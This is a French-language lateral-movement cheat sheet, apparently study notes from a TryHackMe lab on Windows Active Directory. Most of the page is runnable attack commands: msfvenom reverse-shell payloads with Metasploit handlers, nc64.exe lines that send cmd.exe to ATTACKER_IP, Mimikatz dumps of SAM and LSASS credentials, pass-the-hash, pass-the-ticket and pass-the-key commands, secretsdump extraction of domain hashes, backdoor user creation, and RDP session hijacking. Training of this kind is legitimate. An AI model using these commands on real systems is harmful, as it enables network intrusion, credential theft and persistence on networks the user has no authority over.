🚛Mouvement latéral

le mouvement latéral, un groupe de techniques utilisées par les attaquants pour se déplacer sur le réseau tout en créant le moins d'alertes possible.

Pour se déplacer nous devons avoir les droits admin, ATTENTION, il existe 2 type de compte Admin :

  • Comptes locaux faisant partie du groupe Administrateurs local

    • créés et gérés sur un ordinateur ou un appareil spécifique.

    • portée limitée et ne peuvent être utilisés que pour accéder aux ressources de cet ordinateur ou appareil.

  • Comptes de domaine faisant partie du groupe Administrateurs local

    • créés et gérés dans un domaine Active Directory

    • portée plus large et peuvent être utilisés pour accéder aux ressources de n'importre quel ordinateur ou appareil appartenant à ce domaine

🌐 Connexion à distance

🔌 Psexec

Psexec est un outil de ligne de commande permettant d'exécuter des processus à distance sur des systèmes Windows.

Ports : 445/TCP (SMB)

Adhésions de groupe requises: Administrateurs

Utilisation :

Téléchargez Psexec depuis le site officiel de Microsoft : https://docs.microsoft.com/en-us/sysinternals/downloads/psexec Ouvrez une invite de commandes sur votre système local.

Exécuter une commande à distance sur un système cible :

psexec \\NOM_ORDINATEUR_DISTANT -u NOM_UTILISATEUR -p MOT_DE_PASSE COMMANDE

Exemple : 

psexec \\MACHINE_IP -u Administrator -p Mypass123 cmd.exe

Cette commande ouvrira une invite de commandes à distance sur le système cible en utilisant les informations d'identification fournies.

💻 WinRM

Ports: 5985/TCP (WinRM HTTP) - 5986/TCP (WinRM HTTPS)

Adhésions de groupe requises: Utilisateurs de gestion à distance (Remote Management Users)

Description: Windows Remote Management (WinRM) est un protocole Web utilisé pour envoyer à distance des commandes Powershell aux hôtes Windows. La plupart des installations Windows Server auront WinRM activé par défaut, ce qui en fait un vecteur d'attaque attrayant.

Utilisation: Pour se connecter à une session Powershell distante depuis la ligne de commande, nous pouvons utiliser la commande suivante:

winrs.exe -u:Administrator -p:Mypass123 -r:IP_ou_nom_de_la_cible commande #par exmeple cmd.exe

⏰ Tâches planifiés

Les tâches planifiées sont une fonctionnalité de Windows qui permet de planifier l'exécution de tâches à des moments spécifiques. Nous pouvons utiliser l'outil de ligne de commande schtasks pour créer et exécuter des tâches planifiées à distance.

Pour créer une tâche nommée THMtask1, nous pouvons utiliser la commande suivante :

schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<COMMAND/PAYLOAD>" /sc ONCE /sd 01/01/1970 /st 00:00

Par exemple, pour utiliser psexec pour se connecter à un hôte distant (TARGET) à l'aide de la commande schtasks, vous pouvez remplacer <COMMAND/PAYLOAD> par la commande suivante :

cmd /c echo "psexec.exe \\TARGET -u Administrator -p Mypass123 -i cmd.exe" > "C:\Windows\Temp\THMtask.bat" && "C:\Windows\Temp\THMtask.bat"

Exécuter la tâche :

schtasks /s TARGET /run /TN "THMtask1"

Supprimer la tâche :

schtasks /S TARGET /TN "THMtask1" /DELETE /F

Création de services à l'aide de sc 🔧

Ports: 135/TCP

49152-65535/TCP (DCE/RPC)

445/TCP (RPC terminé PME Tubes nommés)

139/TCP (RPC terminé PME Tubes nommés)

Adhésions de groupe requises: Administrateurs

Les services Windows peuvent être exploités pour exécuter des commandes arbitraires. Nous pouvons créer un service sur un hôte distant avec sc.exe, un outil standard disponible sous Windows. Lors de l'utilisation de sc, il tentera de se connecter au programme de service à distance Service Control Manager (SVCCTL) via RPC de plusieurs manières.

Pour se connecter à SVCCTL (Service Control Manager) sur un hôte distant, sc.exe utilise deux méthodes :

Connexion à SVCCTL via RPC (Remote Procedure Call)

sc.exe se connecte d'abord à l'Endpoint Mapper (EPM) sur le port 135, qui est un catalogue des points de terminaison RPC disponibles. sc.exe demande alors à l'EPM des informations sur le programme de service SVCCTL. L'EPM répond avec l'adresse IP et le port pour se connecter à SVCCTL, qui est généralement un port dynamique dans la plage de 49152-65535.

Connexion à SVCCTL via un canal nommé

si la connexion RPC échoue, sc.exe tentera d'atteindre SVCCTL via des tuyaux nommés (named pipes) sur les ports 445 (SMB sur TCP) ou 139 (SMB sur NetBIOS).

🛠️ Utilisation de sc.exe

Pour créer et démarrer un service nommé "THMservice" en utilisant les commandes suivantes:

La commande "net user" sera exécutée au démarrage du service, créant un nouvel utilisateur local sur le système.

sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice

Pour arrêter et supprimer le service, on peut alors exécuter les commandes suivantes:

sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice

🔄 Exemple de mouvement latéral avec sc.exe

Attaquant

cible 1 : ordinateur user compromis

cible 2 : ordinateur sur lequel nous voulons pivoté

donnée : info admin

Sur l'attaquant

Créer un service avec un reverse shell :

msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=10.50.46.5 LPORT=4444 -o myservice.exe

L'envoyé à la cible :

smbclient -c 'put myservice.exe' -U id-admin -W ZA '//thmiis.za.tryhackme.com/admin$/' Password

Faire un reverse shell (pour le pivoting :

msfconsole
use exploit/multi/handler
set LHOST lateralmovement
set LPORT 4444
set payload windows/shell/reverse_tcp
exploit

et un autre afin de travailler depuis notre machine attaquante avec la cible 1 :

nc -lvnp 4443

sur la cible :

Se connecter en admin sur un shell sur l'attaquant (si nc.exe installer)

runas /netonly /user:ZA.TRYHACKME.COM\nom-admin "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"

Sur l'attaquant :

Récupérer le shell créer un utilisateur qui persiste sur la cible2 (cible final du pivoting) :

sc.exe \\thmiis.za.tryhackme.com create createuser binPath= "%net user toto password /add " start= auto

Créer et lancer un service pour pivoter

sc.exe \\thmiis.za.tryhackme.com create service-pivoting binPath= "%windir%\myservice.exe" start= auto
sc.exe \\thmiis.za.tryhackme.com start service-pivoting

🌐 Windows Management Instrumentation (WMI)

Windows Management Instrumentation (WMI) est une norme d'entreprise pour l'accès aux informations de gestion sur les appareils. En termes simples, WMI permet aux administrateurs d'effectuer des tâches de gestion standard que les attaquants peuvent utiliser pour se déplacer latéralement de différentes manières.

Connexion à WMI depuis Powershell 🔌💻

Créer un objet PSCredential avec le nom d'utilisateur et le mot de passe admin. Cet objet sera stocké dans la variable $credential et utilisé tout au long des techniques de cette tâche.

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

Nous pouvons ensuite établir une session WMI en utilisant l'un des protocoles suivants :

  • DCOM : RPC sur IP sera utilisé pour se connecter à WMI. Ce protocole utilise le port 135/TCP et les ports 49152-65535/TCP.

  • Wsman : WinRM sera utilisé pour se connecter à WMI. Ce protocole utilise les ports 5985/TCP (WinRM HTTP) ou 5986/TCP (WinRM HTTPS).

Pour établir une session WMI à partir de Powershell, nous pouvons utiliser les commandes suivantes et stocker la session dans la variable $Session, que nous utiliserons tout au long de la pièce sur les différentes techniques.

$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

💻Création de processus à distance avec WMI

Nous pouvons créer à distance un processus à partir de Powershell en utilisant Windows Management Instrumentation (WMI), en envoyant une demande WMI à la classe Win32_Process pour créer le processus sous la session que nous avons créée précédemment.

$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $Command}

Notez que WMI ne vous permettra pas de voir la sortie d'une commande mais créera le processus requis silencieusement.

Sur les systèmes hérités, la même chose peut être faite en utilisant wmic à partir de l'invite de commande. Lancer la culculette est un preuve de concept, ont peut lancer un shell en cas réel.

wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"

🔧 Création de services à distance avec WMI

Nous pouvons créer des services avec WMI à travers Powershell. Pour créer un service appelé THMService2, nous pouvons utiliser la commande suivante.

Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
    Name = "THMService2";
    DisplayName = "THMService2";
    PathName = "net user munra2 Pass123 /add"; # Votre payload
    ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Démarrer le service dans un nouveau processus
    StartMode = "Manual"
}

Ensuite, nous pouvons obtenir une poignée sur le service et le démarrer avec les commandes suivantes.

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService

Enfin, nous pouvons arrêter et supprimer le service avec les commandes suivantes.

Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

⏰ Création de tâches planifiées à distance avec WMI

Nous pouvons créer et exécuter des tâches planifiées en utilisant certaines cmdlets disponibles dans les installations Windows par défaut.

# Le payload doit être divisé en Command et Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"

Pour supprimer la tâche planifiée après son utilisation, nous pouvons utiliser la commande suivante.

Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"

📦 Installation de packages MSI via WMI

MSI est un format de fichier utilisé pour les programmes d'installation. Si nous pouvons copier un package MSI sur le système cible, nous pouvons alors utiliser WMI pour tenter de l'installer pour nous.

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

Nous pouvons atteindre le même objectif en utilisant wmic sur les systèmes hérités.

wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

Exemple :

Création de la charge utile (payload) sur AttackBox

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=Attaquant LPORT=4445 -f msi > myinstaller.msi

Copie de la charge utile (payload) sur le serveur via SMB

user@AttackBox$ smbclient -c 'put myinstaller.msi' -U <admin> -W ZA '//thmiis.za.tryhackme.com/admin$/' <mot_de_passe>

Comme nous avons copié notre charge utile (payload) sur le partage ADMIN$, elle sera disponible à l'emplacement C:\Windows\ sur le serveur.

Mouvement latéral :

Nous allons maintenant utiliser WMI pour déclencher la charge utile (payload) sur le serveur et obtenir un shell.

Démarrage du handler sur AttackBox

msf6 exploit(multi/handler) > set LHOST attaquant
msf6 exploit(multi/handler) > set LPORT 4445
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.10.16:4445

Démarrage d'une session WMI sur le serveur via Powershell

PS C:\> $username = '<admin>';
PS C:\> $password = '<mot_de_passe>';
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
PS C:\> $Opt = New-CimSessionOption -Protocol DCOM
PS C:\> $Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop

Déclenchement de la charge utile (payload) via WMI

PS C:\> Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

Cela devrait déclencher la charge utile (payload) et vous donner un shell sur le serveur.

🖱️ Pass The Hash avec Mimitkaz

🕹️ NTLM

Voir ma doc sur NTLM afaire

Pass-the-Hash (PtH) est une technique utilisée pour se connecter à un système Windows en utilisant le hachage NTLM du mot de passe plutôt que le mot de passe en clair. Cette technique est possible car le protocole d'authentification NTLM utilise le hachage du mot de passe pour vérifier l'identité de l'utilisateur.

📋 Élévation de privilège 

privilege::debug
token::elevate

📋 Extraction de hachages NTLM à partir du SAM local

Aucun hachage d'utilisateur de domaine ne sera disponible.

Ouvrez une invite de commandes Powershell avec des privilèges administratifs sur la machine cible et tapez les commandes suivantes :

lsadump::sam

📋 Extraction de hachages NTLM à partir de la mémoire LSASS

utilisateurs locaux et tout utilisateur de domaine récemment connecté à la machine

sekurlsa::msv

Cherchez la section "NTLM" dans les résultats pour trouver les hachages NTLM des utilisateurs.

📋 Attaque PTH

My User est l'utilisateur sur lequuel nous voulons pivoté :

token::revert
sekurlsa::pth /user:MyUser /domain:MyDomain /ntlm:NTLM_HASH /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"

Réception du shell inversé :

 nc -lvp 5555

Ouvrir un cmd avec WinRm

winrs.exe -r:MyDomain cmd

Pass-the-Hash de Kali exemple :

impacket-wmiexec -hashes ':533f1bd576caa912bdb9da284bbc60fe' 'za.tryhackme.com/t1_toby.beck@thmiis.za.tryhackme.com'

🕹️ Kerberos

📝 Ticket Dump Kerberos (extraction des TGT)

Donner privilège :

mimikatz # privilege::debug

Exporter tous les tickets Kerberos :

mimikatz # sekurlsa::tickets /export

Mimikatz exportera tous les tickets Kerberos dans le répertoire actuel avec une extension .kirbi.

📝 Pass-the-Ticket

Une fois que vous avez obtenu un billet TGT valide, vous pouvez utiliser Mimikatz pour injecter le billet TGT dans votre propre session de sécurité et vous faire passer pour l'utilisateur cible.

Injecter le billet TGT dans votre session de sécurité :

mimikatz # kerberos::ptt [0;ca99f8]-2-0-40e10000-admin@krbtgt-DOMAIN.COM.kirbi

Assurez-vous de remplacer [0;ca99f8]-2-0-40e10000-admin@krbtgt-DOMAIN.COM.kirbi par le nom de fichier du billet TGT que vous avez obtenu.

Vérifier l'injection de ticket Kerberos :

klist

📝 Obtenir un shell WinRM :

Avec winrs.exe :

winrs.exe -r:THMIIS.DOMAIN.COM cmd

Avec Impacket :

Exporter le ticket Kerberos dans un fichier de cache de ticket Kerberos :

impacket-kinit -k -t [0;ca99f8]-2-0-40e10000-admin@krbtgt-DOMAIN.COM.kirbi admin@DOMAIN.COM

Cela va créer un fichier de cache de ticket Kerberos dans le répertoire actuel.

Obtenir un shell WinRM :

impacket-wmiexec -k -no-pass -dc-ip DC_IP TARGET_IP

Assurez-vous de remplacer DC_IP par l'adresse IP du contrôleur de domaine et TARGET_IP par l'adresse IP de l'ordinateur cible.

📝 Interagir avec le bureau à distance avec xfreerdp

Exporter le ticket Kerberos dans un fichier de cache de ticket Kerberos :

impacket-kinit -k -t [0;ca99f8]-2-0-40e10000-admin@krbtgt-DOMAIN.COM.kirbi admin@DOMAIN.COM

Cela va créer un fichier de cache de ticket Kerberos dans le répertoire actuel.

Se connecter au bureau à distance :

xfreerdp /v:TARGET_IP /u:admin /d:DOMAIN /kcc:admin.ccache

Assurez-vous de remplacer TARGET_IP par l'adresse IP de l'ordinateur cible.

📝 Kerberos Encryption Keys

Dumper les clés de chiffrement Kerberos :

mimikatz # sekurlsa::ekeys

📝 Pass-the-Key

Démarrer un serveur Netcat en attente sur le port 443 :

sudo nc -lnvp 443

Si vous avez le hachage RC4 :

mimikatz # sekurlsa::pth /user:admin /domain:DOMAIN /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

Si vous avez le hachage AES128 :

mimikatz # sekurlsa::pth /user:admin /domain:DOMAIN /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

Si vous avez le hachage AES256 :

mimikatz # sekurlsa::pth /user:admin /domain:DOMAIN /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

📝 Pass-the-Key from Kali

Demander un TGT à l'aide de la clé AES-256 :

impacket-getTGT 'DOMAIN/admin' -aesKey 6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e

Créer une variable d'environnement pour Impacket :

export KRB5CCNAME=admin.ccache

Obtenir un shell :

impacket-wmiexec 'DOMAIN/admin@TARGET_IP' -k -no-pass

💡 Connexion avec un hash sur Linux

RDP :

xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH

psexec :

psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP

Notez que seule la version Linux de psexec prend en charge PtH.

WinRM :

evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

📂 secretsdump.py : Extraction des hash du domaine

Logoimpacket/secretsdump.py at master · SecureAuthCorp/impacketGitHub
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'

💡 Connexion RDP laissé ouverte par un admin

Lorsqu'un administrateur utilise le Bureau à distance pour se connecter à une machine et ferme le RDP client au lieu de se déconnecter, sa session restera ouverte indéfiniment sur le serveur.

Ouvrez une invite de commande. Élever à NT AUTHORITY\SYSTEM en utilisant psexec .

C:\tools\psexec64.exe -accepteula -s -i cmd.exe

lister les sessions existantes : 

query user

exemple de sortie : 

USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
admin                rdp-tcp#6           2   Active          .  4/1/2022 4:09 AM
luke                 console             3   Active          .  4/6/2022 6:51 AM

Dans cet exemple, nous pouvons voir que l'utilisateur "admin" est connecté à la session RDP nommée "rdp-tcp#6" avec l'ID de session "2".

Connectez-vous à la session RDP laissée ouverte en utilisant la commande "tscon".

tscon 3 /dest:rdp-tcp#6 /server:TARGET_SERVER

"3" est l'ID de la session console de "luke" sur lequel nous sommes actuellement connectés.

"rdp-tcp#6" est le nom de la session RDP que nous voulons nous connecter

PreviousRedirecteursNextPort forwarding

Last updated